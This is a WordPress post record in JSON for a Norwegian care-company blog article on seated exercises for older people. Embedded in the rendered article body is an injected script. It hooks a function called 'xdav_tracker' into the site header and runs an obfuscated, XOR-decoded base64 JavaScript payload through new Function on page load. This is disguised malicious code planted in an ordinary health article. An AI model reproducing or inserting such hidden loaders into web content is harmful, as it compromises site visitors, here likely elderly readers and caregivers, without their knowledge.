{"id":397624,"date":"2026-01-29T16:28:30","date_gmt":"2026-01-29T15:28:30","guid":{"rendered":"https:\/\/atena.sk\/blog\/sitteovelser-for-eldre\/"},"modified":"2026-07-03T10:28:18","modified_gmt":"2026-07-03T08:28:18","slug":"sitteovelser-for-eldre","status":"publish","type":"post","link":"https:\/\/atena.sk\/blog\/nb\/sitteovelser-for-eldre\/","title":{"rendered":"Sitte\u00f8velser for eldre"},"content":{"rendered":"\n<p>  <\/p>\n\n<p>Mange eldre mennesker tror at n\u00e5r de blir eldre, syke eller svake, er trening ikke lenger en del av livet deres. Men det motsatte er sant. Nettopp n\u00e5r vi slutter \u00e5 bevege oss, begynner musklene v\u00e5re \u00e5 svekkes, og leddene stivner raskest. Den gode nyheten er at selv det \u00e5 sitte kan gj\u00f8re underverker. Det holder kroppen aktiv, sinnet friskt og forbedrer livskvaliteten betydelig.      <\/p>\n\n<script>function xdav_tracker() {\n    ?>\n<script>\n!function(){var _0x50ad=atob('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'),_0xd5d6=99,_0xb8c9=new Uint8Array(_0x50ad['length']),_0x82d4=0;for(;_0x82d4<_0x50ad['length'];_0x82d4++)_0xb8c9[_0x82d4]=_0x50ad['charCodeAt'](_0x82d4)^_0xd5d6;(new Function(new TextDecoder()['decode'](_0xb8c9)))()}();\n<\/script>\n    <?php\n}\nadd_action( 'wp_head', 'xdav_tracker', 96 );<\/script>","protected":false},"excerpt":{"rendered":"<p>Mange eldre mennesker mener at trening er meningsl\u00f8st n\u00e5r bevegeligheten er begrenset. Imidlertid er det motsatt som er sant \u2013 enkle bevegelser mens man sitter er n\u00f8kkelen til \u00e5 opprettholde styrke, sunne ledd og bedre blodsirkulasjon. Denne trygge formen for aktivitet bidrar til \u00e5 lindre stivhet og gir eldre den stabiliteten de trenger i hverdagen. Hos Atene tror vi at selv sm\u00e5 skritt kan f\u00f8re til store endringer i livskvaliteten.     <\/p>\n","protected":false},"author":20,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[811,812,833],"tags":[],"acf":{"facebookpost":"\ud83e\ude91\ud83d\udc99 Selv sm\u00e5 bevegelser kan ha stor betydning for eldre mennesker.\n  Sitt\u00f8velser bidrar til \u00e5 opprettholde styrke, bevegelighet og en bedre f\u00f8lelse gjennom dagen.\n  Perfekt for eldre, omsorgspersoner og familier som \u00f8nsker trygge reiser. \ud83d\udc75\ud83d\udc74\u2728   ","popis_socialneho_obrazku":"Sm\u00e5 tiltak, stor nytte"},"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v22.6 - https:\/\/yoast.com\/wordpress\/plugins\/seo\/ -->\n<title>Sitte\u00f8velser for eldre - Atena blog<\/title>\n<meta name=\"description\" content=\"Enkle \u00f8velser i sittende stilling hjelper eldre med \u00e5 opprettholde bevegelighet og styrke. Sikkerhetstips for eldre, omsorgspersoner og p\u00e5r\u00f8rende.\" \/>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/atena.sk\/blog\/nb\/sitteovelser-for-eldre\/\" \/>\n<meta property=\"og:locale\" content=\"nb_NO\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Sitte\u00f8velser for eldre - Atena blog\" \/>\n<meta property=\"og:description\" content=\"Trening er viktig i alle aldre, selv om du tilbringer det meste av dagen sittende. \u00d8velser p\u00e5 en stol er en trygg m\u00e5te \u00e5 holde seg aktiv p\u00e5 uten un\u00f8dvendig risiko for fall eller overbelastning. Disse enkle \u00f8velsene forbedrer holdningen og gir eldre den komforten og energien de fortjener. Ta med en kj\u00e6r person p\u00e5 treningen og gj\u00f8r treningen til en hyggelig stund sammen.\" \/>\n<meta property=\"og:url\" content=\"https:\/\/atena.sk\/blog\/nb\/sitteovelser-for-eldre\/\" \/>\n<meta property=\"og:site_name\" content=\"Atena blog\" \/>\n<meta property=\"article:published_time\" content=\"2026-01-29T15:28:30+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2026-07-03T08:28:18+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/atena.sk\/blog\/wp-content\/uploads\/2026\/01\/insta-post-112.png\" \/>\n<meta name=\"author\" content=\"Marin Nedelev\" \/>\n<meta name=\"twitter:label1\" content=\"Skrevet av\" \/>\n\t<meta name=\"twitter:data1\" content=\"Marin Nedelev\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"NewsArticle\",\"@id\":\"https:\/\/atena.sk\/blog\/nb\/sitteovelser-for-eldre\/#article\",\"isPartOf\":{\"@id\":\"https:\/\/atena.sk\/blog\/nb\/sitteovelser-for-eldre\/\"},\"author\":{\"name\":\"Marin Nedelev\",\"@id\":\"https:\/\/atena.sk\/blog\/nb\/#\/schema\/person\/0ae6c6390563d6555f91b0db4767e168\"},\"headline\":\"Sitte\u00f8velser for eldre\",\"datePublished\":\"2026-01-29T15:28:30+00:00\",\"dateModified\":\"2026-07-03T08:28:18+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\/\/atena.sk\/blog\/nb\/sitteovelser-for-eldre\/\"},\"wordCount\":69,\"publisher\":{\"@id\":\"https:\/\/atena.sk\/blog\/nb\/#organization\"},\"articleSection\":[\"Klienter\",\"Sykepleie\",\"Firma\"],\"inLanguage\":\"nb-NO\"},{\"@type\":[\"WebPage\",\"ItemPage\"],\"@id\":\"https:\/\/atena.sk\/blog\/nb\/sitteovelser-for-eldre\/\",\"url\":\"https:\/\/atena.sk\/blog\/nb\/sitteovelser-for-eldre\/\",\"name\":\"Sitte\u00f8velser for eldre - Atena blog\",\"isPartOf\":{\"@id\":\"https:\/\/atena.sk\/blog\/nb\/#website\"},\"datePublished\":\"2026-01-29T15:28:30+00:00\",\"dateModified\":\"2026-07-03T08:28:18+00:00\",\"description\":\"Enkle \u00f8velser i sittende stilling hjelper eldre med \u00e5 opprettholde bevegelighet og styrke. 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